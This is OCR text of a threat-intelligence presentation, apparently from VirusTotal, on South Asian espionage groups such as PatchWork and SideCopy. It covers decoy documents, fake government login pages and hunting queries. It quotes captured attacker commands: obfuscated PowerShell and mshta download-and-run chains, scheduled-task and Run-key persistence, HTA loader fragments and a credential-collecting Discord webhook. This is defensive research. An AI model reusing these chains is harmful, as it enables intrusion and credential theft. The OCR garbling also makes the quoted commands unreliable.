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Why are we going to talk about It

We're keeping a close eye on several groups that are attacking targets in Asia. We want to
gather information about them and share it with the people who use our platform.

These groups use some of the same techniques as other attackers around the world. This
gives us a chance to learn more about how they operate.

We've also noticed some interesting similarities between different groups based in Asia.
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Weaponization
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What we usually see - Weaponization
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Decoy documents / websites

Ministry of Defence
- i
9 mail.defence.lk

& o GOVERNMENT OF INDIA

% (T P Username

* > >

asswor
P d
Government of Pakistan
Ministry of Information Technology and Telecommunication Mode 2024—2025
Automatic ~
DIGITAL PAKISTAN
| | Language MINISTRY OF FINANCE
; English (American) b BUDGET DIVISION
Login
A new web-based version of E-office has been launched. The MolT Joint Secretary has Tulv. 2024
desired that the e-office shall become operational in all offices of the Government by 1st wy
October 2023.
; " . [Incorporating Notes on Demands for Grants|
E-Office Implementation and Usage Guidelines for all Government offices as promulgated
by the Government is as attached. All users are requested to kindly go through the ——r]
operating Procedure and any queries can be directed to this office. tspl;ml-!pg!l“iﬁ:
i _

o A presentation on how to use E-office is prepared by ministry and can be used for
training of all users. The presentation can be downloaded from here:
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Profiling threat actors

behaviors - Recent activities



PatchWork

PatchWork

Espionage
Some (not all) interesting high level behaviors Overview

APT-C-09 ATK11 Chinastrats
Use of LNK =
. Dropping Elephant GO040 Monsoon
PDF files related to Governments as a decoy
Use of PowerShell
New domains creation

Orange Athos Patchwork Sarit
Thirsty Gemini ZINC EMERSON

Targets

Bangladesh {= Pakistan = SriLanka

4+ Aerospace & Defense: Defense

Other: Private sector
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PatchWork - Hunting behaviors

e Common use of PowerShell and cmdlets
e External files downloaded from Internet
e Persistence through schtasks

Use of LNK |eading to:

ASCI Wide Download

ft\Edge\Application\msedge.exe

Wine

powershell.e
B..\..\..\..\Windows\S

"https://k )1.b-cdn.net/xnt" -OutFile C:\Users\Public\Cab.pdf;Start-Pr
'SilentlyContinue’' ;wget "https://kdrm201.b- .net/r" -OutFile
"C:\ProgrambData\Winver. ";wget "ht _ 201 .b-cdn.net/xnt" -OutFile
t-ChildItem
\Application\msedge.c
werShell)
72-1000

rShell\vl.0\powershell.exe
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PatchWork - Hunting behaviors

{behavior:".pdf;s"a"p"s T } (15)
Use Of LNK behaVior:".pdf;i"W"l' n (]5)
behavior:";r'"e"n -Path " (15)

L. 5000 - powershell $Fmgre_=.5FrEferE nce = 'SilentlyContinue';i"w"'r httpS Hjlha ng.scapematic.infofeghgrh/uybvjxosg -

OutFile C:\ProgramData\186523 pdf;s"a"p"s|C:\ProgramData\ 186523

htt|::-5.,.",n"5h|anch|.5capemat|r:.lnfnfjhgfd,-’]khwcf-ﬂutFllEE.\F‘mgran'uData‘llha :r''e"n-Path C:\ProgramData'hal -NewName

C:\ProgramData\wer.dll;c"p C:\Windows\System32\WerFaultSecure.exe C:\ProgramData\WerFaultSecure.exe;c"p"i
'C:\ProgramData\186523.pdf" -destination .;sch"ta"s"ks /c"'r"e"a"te /S"c minute /T"n EdgeUpdate /t"r
'C:\ProgramData\WerFaultSecure' /f;e''r"a"s"e *d?.7n?
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PatchWork - Hunting behaviors

[behavior:".pdf;s"a"p"s L } (15)
Use of LNK behavior:".pdf;i"w"r " (15)
behavior:";r'e"n -Path " (15)
behavior:"\\*n*\\\\\\\\*y*3*\\\\c\"u\"r*e" (5)
metadata:"8671-5DED" (17)

1

DriveSerialNumber

[metadata:”desktop-4f6tsvl” } (17)

1

MachinelD
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PatchWork - Decoy examples

COMAC_Technology_Innovation.pdf - dobe Acrobat Reader (64-bit) = O
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SideCopy

C SideCopy

Espionage

Some (not all) interesting high level behaviors Overview

The SideCopy APT is a Pakistani threat actor that has been operating since at least 2019,

[ Use Of |_N K mainly targeting South Asian countries and more specifically India and Afghanistan. Its
name comes from its infection chain that tries to mimic that of the SideWinder APT. It has

o US@ Of HTA been reported that this actor has similarities with Transparent Tribe (APT36) and possibly is

. a subdivision of this actor. Cisco Talos and Seqgrite have provided comprehensive reports

e Use of Microsoft Word on this actor's activities.

e Interesting patterns observed in the URLs

e Use of free DDNS noip.com creating sites with Targets

servehttpl[.Jcom, syes|.]net...

India, Afghanistan
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SideCopy - Hunting behaviors

e EXxecute .bat files
e Execute Word documents
e Create persistence using registry keys

Use of HTA |leading to:

Strings Hex Preview

All ASCII Wide Download

Var faaaVi " Windows 10 FError"
<script language="javascript">
window.resizeTo (0, 0)

function besesoxtyfury(e) {

var t = new ActiveXObject('Syst'+'em.Tex'+'t.AS"+'CI1'+'Enco'+'ding'), r = t.GetByteCount 2(e), n = t.GetBytes 4 (e)

n new ActiveXObject ('Sys'+'tem.Secur'+'ity.Cry'+'pto'+'graphy.Fro'+'mBa'+'se6'+'4Tra'+"'nsform') .TransformFinalBlock(n, 0, r)
var o = new ActiveXObject('Sys'+'tem.IO.Me'+'mo'+'ryStr'+'eam')
return o.Write(n, 0, r / 4 * 3), o.Position = 0, o

function i1ujujik(r) {var n,o={},a=[],f="",t=String.fromCharCode,1=[[65,91],(97,123], (48,58], (43,44, [47,48]]

for(z in 1) for(n=i[z][0]
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SideCopy - Hunting behaviors

{behavior:"N \"BST\" /t" } (18)
Use of HTA [behavior:"N \"BSH\" /t" J (18)
ﬂ:ontentz"){var \
r,t={},n=[],0=\"\",a=String.fromCharCode,i=[[65,91],[97,123],[48,58],[43,44],[ 47,48
1];for(z in
i)for(r=i[z][O];r<i[z][1];r++)n.push(a(r));for(r=0;r<64;r++)t[n[r]l=r;for(r=0;r<e.length N
sr+=72){var (~30)
c,s=0,f=0,m=e.substring(r,r+72);for(c=0;c<m.length;c++)for(s=(s<<6)+t[m.charAt
\(c)],f+=6;f>=8;)o+=a((s>>>(f-=8))%256)}return o}" %

L. 5660 - C:\Windows\system32\cmd.exe /c ""C:\Windows\Tasks\user0l.bat" "

L, 3272 - REG ADD "HKCU\SOFTWARE\ Microsoft\Windows\CurrentVersion\Ru n't REG SZ /F /D
"C:\Windows\Tasks\appH.bat"

L. 5460 - C\Windows\system32\cmd.exe /c ""C:\Windows\Tasks\user02.bat" "

L, 1660 - REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n't REG SZ /F/D
"C:\Windows\Tasks\appT.bat"




SideCopy - Hunting behaviors

{metadata:"desktop-bdeb1nb" } (8)
Use of LNK metadata:"A6BE-F314" (10)
behavior:"%ProgramData%\\HP\\jquery.hta\" " (S)

- J

3080 - c:/windows/system32/WindowsPowerShell/v1.0/powershell.exe start-process
" 806c9f3f5ac1d04991776baa627161a1808166ca6d958de756c09f884ch2f000.Ink

L 3424 - C:\Windows\System32\mshta.exe https://ssynergy.in/wp-
content/themes/twentytwentythree/assets/fonts/inter/delegation/
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SideCopy - Hunting behaviors

[metadata:"desktop-bdeb1nb" } (8)
Use of LNK metadata:"A6BE-F314" (10)
behavior:"%ProgrambData%\\HP\\jquery.hta\" " (5)

Common paths observed

@ N

[js/files/
[css/fonts/

Network /bootstrap/jquery/ — [Next payload }
[css/css/
/wp-content/themes/

Interesting behavior shared by DarkGate and SideCopy (and probably other TA).

[entity:url url:"*/wp-content/*" url:"*.hta" } (~140)

[entityzfile itw:"*/wp-content/*" itw:"*.hta" p:5+ 1 (66)
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SideCopy - Pivoting to understand

content:"){var
r,t={},n=[],0=\"\",a=String.fromCharCode,i=[[65,9
1],[97,123],[48,58],[43,44],[47,48]];for(z

in [TRU NCATE D] GOty AS 8100 (ASN-QUADRANET-GLOBAL)

Score

64.188.27.144 (64.188.24.0/22)

Communicating Files (11) ®

Scanned Detections Type Name
/ 94 2024-10-07 / 60 HTML [files/documents/bs/survey/2.hta
/82 48b8c5703ff73125ck 2024-05-09 /68 ZIP aa.zip
useH.hta Community 2024-10-07 / 62 HTML 1.hta
Community Score 2024-11-07 5 /61 Windows shortcut 81038a217237afd16d80da7fc9219cbd 145694
Score html 2024-10-07 24 /62 HTML [files/documents/bs/economy/2.hta
2024-11-16 /73 Win32 DLL C:\Users\user\AppData\Local\Temp\umerzupf
DETECTION 2024-10-07 / 62 HTML [files/documents/bs/it/1.hta
2024-11-29 /63 Windows shoricut aa/a.lnk
DETECTION DETAILS RELATIONS = 2024-10-07 / 60 HTML /files/documents/bs/it/2.hta
2024-11-28 / 62 Windows shortcut d777bcb6fba73faf96chb422383404c3b81a8zfas
Passive DNS Replic:
Contacted Domains (1) © Date resolved Detections Resolver IP
2024-08-16 0 /94 VirusTotal 72.11.156.132

Domain Detections 2024-07-18 /94 VirusTotal 64.188.27.144

checkdailytips.servehttp.com| 9 /94 Zl VirusTotal




Unknown

? Unknown

Espionage

Some (not all) interesting high level behaviors Overview

Use of spear-phishing to multiple governments and organizations in Asia to steal email

Use of netlify.app access credentials..
Use of 000webhostapp.com (hostinger)
workers.dev

Similar patterns to SideWinder

Decoy PDF files Targets
HTML files with fake logins to Government
sites

Sri Lanka, Pakistan, China, Nepal
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CHINESE PLA AIRFORCE OFFICIAL SECURE FILES

THINESE PLA AR FixkoE

Unknown - Fake logins

China PLA Airforce Drafi Letter. pdf

R Furirps ot 7101

S

m Faslesl dovaioad om sewure dive

Ministry of Defence
mail.defence.lk @ National Telecom Corporation
© You have been logout. Please login again.
Username
Password m
Mode u Stay signed in
Automatic v } .
(@paknavy.gov.pk
Language Version: What's This? X X
English (American) v

lovelid Useename or Password. Ty agien

SoLGTIoNs ;22 LOG IN

| SLTIOC | 2024-02-07 | CentOST |

Zimbra :: the leader in open source messaging and collaboration :: Blog - Wiki - Forums
Copyright ® 2005-2023 Synacor, Inc. All rights reserved. "Zimbra" is a registered trademark of Synacor, Inc.
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Unknown - Fake logins

HTML Content

Y Google Cloud

content:{3c6120636c6173733d22736d616c6c22207469746c653d2248673746564 | (19)
20627920534¢c546944432220687265663d22223e534c546944433c2f613¢}

Ministry of Defence

mail.defence.lk

€ You have been logout. Flease login again.

Username
Password

Mode

Automatic
Language

English (American)

INTELLM GENT

SOLUTIONS 323°
aee
Vit | Mitsnring | Daa Hesting | Mansped Servoes

| sLTiDC | 2024-02-07 | CentOST |

Discord webhook

https://discord[.]Jco
m/api/webhooks/1
2531930441787638
17/EaDOBBLZz3808
dkakEdL2BrgVamp
IM4HpPX731IVFQ8BC
cazxw97k74pb7yH
En87dftOglql
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Other Threat Actors - Hunting behaviors

/entity:url (hostname:"*-govpk*" or hostname:"*gov-pk*" or hostname:"*mofa-

gov*" or hostname:"*paknavy*" or hostname:"*.govpk*" or hosthame:"*gov-lk*"
or hostname:"*gov-np*") (tld:info or tid:live or tid:xyz or tid:org or tid:net)

Use of LNK Khave:downloaded_file

~

/

[behavior:"; &('i'+'r'+'m') http" }

Or simply use your imagination.. If they are using geofacing to redirect researchers to specific websites,
use behavior_network to identify that behavior.

[behavior_network:“mofa.gov.pk" }

@ behavior_network:"mofa.gov.pk" Smart search 3= T

- —

THREATS I0CS 23 REPORTS & ANALYSIS RULES GRAPHS COMMENTS

Filters First seen desc X Sortby Vv Ex
o= iype Summary - 20/23 Files Associations GTI Score Detections First seen
®) Files
db48e615faf851c148ea716b5¢c05123...
GTI Verdict . : 2024-11-30
2. List of Delegation.pdf -.. - 30/100
' oY) g p / 02:33:09
Benign Ink  hiding-window ...
3 G Malicious
I I d Susblclolis fec66a9aabf379d150ad51926b3189... V T t I
oogle Clou e _ _ irusTota
S Targeted Advance Persistent.. 55 RAZORTIGER 100/ 100

Undetected 09:32:06

docx  callsswmi  cve-2017-0199  exploit



share your queries with the community!
@virustotal

Thank you

Joseliyo Sanchez
@Joseliyo_Jstnk
joselsm@virustotal.com X @3Joseliyo_Jstnk
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